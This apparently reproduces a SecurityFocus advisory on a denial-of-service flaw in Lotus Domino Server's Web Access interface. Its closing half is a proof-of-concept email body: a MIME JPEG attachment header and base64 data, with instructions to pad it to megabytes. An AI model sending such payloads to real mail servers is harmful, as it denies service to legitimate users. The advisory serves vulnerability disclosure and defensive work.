source: https://www.securityfocus.com/bid/10641/info

Lotus Domino Server is reported prone to a remote denial of service vulnerability. The issue is reported to exist when a malicious email that is received on the affected server, is opened through the Domino Web Access interface by a client.

A remote attacker may exploit this condition to deny Lotus Domino service to legitimate users. 

(just paste all the lines below into the body of the mail)
--- snip here; do not paste this line --
Content-Disposition: Attachment; filename="PC210017.JPG"
Content-Type: image/jpeg;
Name="PC210017.JPG"
Content-Transfer-Encoding: Base64

/9j/4Re0RXhpZgAASUkqAAgAAAALAA4BAgAgAAAAkgAAAA8BAgAYAAAAsgAAABABAgAMAAAA
ygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgBAwABAAAAAgAAADEB
AgAJAAAA6AAAADIBAgAUAAAACAEAABMCAwABAAAAAgAAAGmHBAABAAAAHAEAAAADAABPTFlN
[Add here some megabytes of data. 1kB is not enough, but 12MB was
sufficient in all my tests]
--- snip here; do not pste this line ---